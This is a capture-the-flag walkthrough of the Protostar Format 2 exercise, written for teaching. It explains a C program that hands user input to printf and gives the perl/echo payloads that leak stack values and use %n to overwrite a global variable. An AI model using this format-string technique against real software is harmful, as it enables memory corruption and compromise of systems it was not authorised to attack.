Continuing from where we left off, we arrive at Format 2. It presents us with the following code:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if(target == 64) {
printf("you have modified the target :)\n");
} else {
printf("target is %d :(\n", target);
}
}
int main(int argc, char **argv)
{
vuln();
}
This challenge seems very similar to Format 1, in all but 2 ways:
- The input is done via a fgets() instead of from the program arguments.
- Instead of allowing just any change, it specifically requires “target” to be equal to “64”.
We’ll start pretty much the same way as last time, spamming “%x”:
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "AAAAAAAA" . "%x."x150'` | ./format2
AAAAAAAA200.b7fd8420.bffff624.41414141.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.a2e78.b7eada75.b7fd7ff4.80496b0.bffff7c8.8048338.b7ff1040.80496b0.bffff7f8.80484f9.b7fd8304.b7fd7ff4.80484e0.bffff7f8.b7ec6365.b7ff1040.bffff7f8.80484c6.80484e0.0.bffff878.b7eadc76.1.bffff8a4.bffff8ac.b7fe1848.bffff860.ffffffff.b7ffeff4.8048285.1.bffff860.b7ff0626.
target is 0 :(
This time, however, it seemed MUCH quicker to get the “41414141”, only 4 words. Let’s verify:
user@protostar:/opt/protostar/bin$ ./format2
AAAA%x%x%x%x
AAAA200b7fd8420bffff62441414141
target is 0 :(
So we’re getting to a pretty good point, let’s go ahead and find the memory address for “target”:
user@protostar:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g O .bss 00000004 target
Next, let’s put that address in, replacing the “AAAA”:
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%x%x%x%x"'` | ./format2
200b7fd8420bffff62480496e4
target is 0 :(
The address seems to be the last word, without any problems. So if we convert the last “%x” to “%n”, it should overwrite that address in memory with the count of characters printed:
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%x%x%x%n"'` | ./format2
200b7fd8420bffff624
target is 23 :(
Unfortunately, only 23 characters were written. We can increase that number artificially by just changing the format string from “%x” to “%44x”. This pads the string to be 44 characters long:
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%44x%x%x%n"'` | ./format2
200b7fd8420bffff624
you have modified the target :)
That’s pretty much how it’s done.
And again, as bonus, if you want to use Direct Argument Access, you can simply do:
user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%7\\\$60x%4\\\$n"'` | ./format2
a6e24
you have modified the target :)